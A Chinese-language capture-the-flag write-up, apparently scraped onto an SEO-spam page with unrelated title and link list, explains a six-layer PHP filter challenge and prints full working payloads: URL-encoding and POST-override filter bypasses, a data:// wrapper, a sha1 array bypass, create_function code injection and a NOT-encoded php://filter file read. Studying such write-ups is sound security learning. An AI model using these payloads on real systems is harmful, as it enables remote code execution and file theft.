当前位置: 首页 > wzjs >正文

自己做外贸网站十大广告公司

自己做外贸网站,十大广告公司,手机制作购物网站,企业形象设计考试这一道题里面的知识点实在是太多了&#xff0c;即使这道题是我最喜欢的RCE也有点大脑停转了&#xff0c;所以还是做个笔记&#xff0c;以后方便回忆 直接跳过打点&#xff0c;来到源码 <?php highlight_file(__FILE__); error_reporting(0); $file "1nD3x.php"…

这一道题里面的知识点实在是太多了,即使这道题是我最喜欢的RCE也有点大脑停转了,所以还是做个笔记,以后方便回忆

直接跳过打点,来到源码

<?php
highlight_file(__FILE__);
error_reporting(0); $file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
} if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

短短51行代码居然有六层过滤,也是阴的没边,这次的payload至今为止也是鼠鼠手打过最长的

第一层
if($_SERVER) { if (preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']))  die('You seem to want to do something bad?'); 
}

首先看第一块,这里是正则匹配的过滤,但是注意到(注意力惊人)这里用的是$_SERVER

众所周知,get传参的时候会对get传的参数进行url解码,但是$_SERVER['QUERY_STRING']却不会。
所以说对于第一层过滤的所有字母和字符,都可以用url编码进行绕过。

第二层
if (!preg_match('/http|https/i', $_GET['file'])) {if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!<br>";} 
} else die('fxck you! What do you want to do ?!');

这里就很简单了,传入debu=aque_is_cute的url编码格式绕过前面第一个过滤

%64ebu=%61qua_is_%63ute%0a这里我只部分进行了编码,至于file参数等下再说

但是这里我们发现又触发了第三层的过滤

第三层
if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value))  die('fxck you! I hate English!'); } 
}

这里说他讨厌英语,传的参数值不能有英文的26个字母,但是我们又注意到这里是$_REQUEST传参,所以可以绕过

$_REQUEST传参时同时接收GET和POST的传参,但POST拥有更高的优先级,所以只需要POST相同的参数即可绕过。

%64ebu=%61qua_is_%63ute%0adebu=1

我们继续往下看,来到第四层

第四层
if (file_get_contents($file) !== 'debu_debu_aqua')die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里我们要让file的值等于debu_debu_aqua,所以这里要用到data伪协议,当然也是要和上面一样绕过第二层和第三层的过滤

file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0adebu=1&file=1
第五层
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){extract($_GET["flag"]);echo "Very good! you know my password. But what is flag?<br>";
} else{die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

这里是简单的sha1绕过MD5和sha1绕过方式总结正好今天下午刚看过

这里用到的是数组绕过,注意url编码就好

?file=?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&debu=1&file=1
第六层
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { include "flag.php";$code('', $arg); 
} ?>

这里是最核心的一层,也是我拼尽全力无法战胜的一层,所以去看了wp才恍然大悟

首先这里有两个参数$code$arg可控,可以利用$code('', $arg); 注入。

这里介绍一个函数:

PHP 中的 create_function($args, $code) 会创建一个匿名函数,举个例子:

比如我们传:

flag[code]=create_function
flag[arg]=}eval($_POST[cmd]);//

那么代码就变成:

$code = create_function;
$arg = '}eval($_POST[cmd]);//';$code('', $arg);  // => create_function('', '}eval($_POST[cmd]);//');

这个返回的函数等价于

function($a, $b) {}eval($_POST[cmd]);//
}

了解了原理,接下来我们来构造payload,因为过滤实在太多,所以我们先用:

flag[arg]=}var_dump(get_defined_vars());// 
flag[code]=create_function

来试一试,注意这里要用}提前闭合函数体

这样就得到了许多的变量键值,我就不贴上来了,最后有一个

"Baka, do you think it's so easy to get my flag? I hid the real flag in rea1fl4g.php 23333"}

这里可以利用require(),来代替include()

require(php://filter/read=convert.base64- encode/resource=rea1fl4g.php);//

但是过滤的限制太多了,所以我们对其进行base64编码

%66%6c%61%67[%61%72%67]=};require(%62%61%73%65%36%34_%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//&%66%6c%61%67[%63%6f%64%65]=create_functiondebu=1&file=1

但是这里只得到了假的flag,这里我查了很多资料,但是都只是提到了要用取反来读flag,没有人提这里仅仅进行URL编码不能读取到flag的问题。在我把这道题的源码全部读了一遍后,我猜测问题大概是出在unset()函数这里

unset函数本来是用来销毁变量的,这里让$realflag执行unset,本意是为了避免我们用上面的方法直接get_difined_vars直接读取flag,却影响了文件包含读取flag内容,所以这里要用到取反编码进行读取,后面我会写一遍关于unset函数的文章来详细解释

最终payload:

// GET
?debu=aqua_is_cute%0a&file=data://text/plain,debu_debu_aqua&shana[]=1&passwd[]=2&flag[arg]=};require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);var_dump(get_defined_vars());//&flag[code]=create_function?%64%65%62%75=%61%71%75%61_is_%63%75%74%65%0A&file=data://text/plain,%64%65%62%75_%64%65%62%75_%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%61%72%67]=;}require(~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f));//&%66%6c%61%67[%63%6f%64%65]=create_function// POST
debu=1&file=1

得到base64源码解码后得到flag

http://www.dtcms.com/wzjs/468364.html

相关文章:

  • 做网站的流程方法百度网站域名注册
  • 做网站开发电脑配置企业网站推广注意事项
  • 天津网站建设公司推广资源整合平台
  • 营销型集团网站建设全网营销推广怎么做
  • 南宁网站建设nnit30佛山优化网站关键词
  • 动态网站的制作流程全网营销式网站
  • 哈尔滨市住房和城乡建设局网站百度关键词价格查询
  • 北京广告山东seo推广公司
  • 深圳 seo 外贸网站建设 多语种交换友情链接的途径有哪些
  • 不知道我自己的网站的ftp账号企业微信营销系统
  • 网上书店网站开发关键字参数
  • 做海报 画册的素材网站百度seo排名优化软件分类
  • 长春哪里做网站好广西seo关键词怎么优化
  • 网网站基础建设优化知识网络营销工程师是做什么的
  • 德国站有哪些做站外秒杀的网站长春seo网站排名
  • 上海网站建设自学今日头条热搜榜前十名
  • 福建设计院网站找小网站的关键词
  • 海南网站建设培训外贸网络推广公司
  • 深圳给企业做网站免费网络推广软件
  • 如何做网页推广的网页网站搜索引擎优化方案的案例
  • vs做网站通过e浏览器全自动精准引流软件
  • 网站建设制作设计营销公司南宁青岛seo整站优化公司
  • 网站建设的具体过程百度竞价的优势和劣势
  • 手机网站 栏目定制媒介星软文平台官网
  • 织梦移动端网站怎么做网络营销型网站
  • 嘉兴企业网站推广郑州官网网站推广优化
  • 成都装修公司网站建设发布新闻稿
  • 大连网站备案最近的新闻热点
  • 怎么在境外做网站宁波网站推广优化公司电话
  • 网站建设方案文本模板2022双11各大电商平台销售数据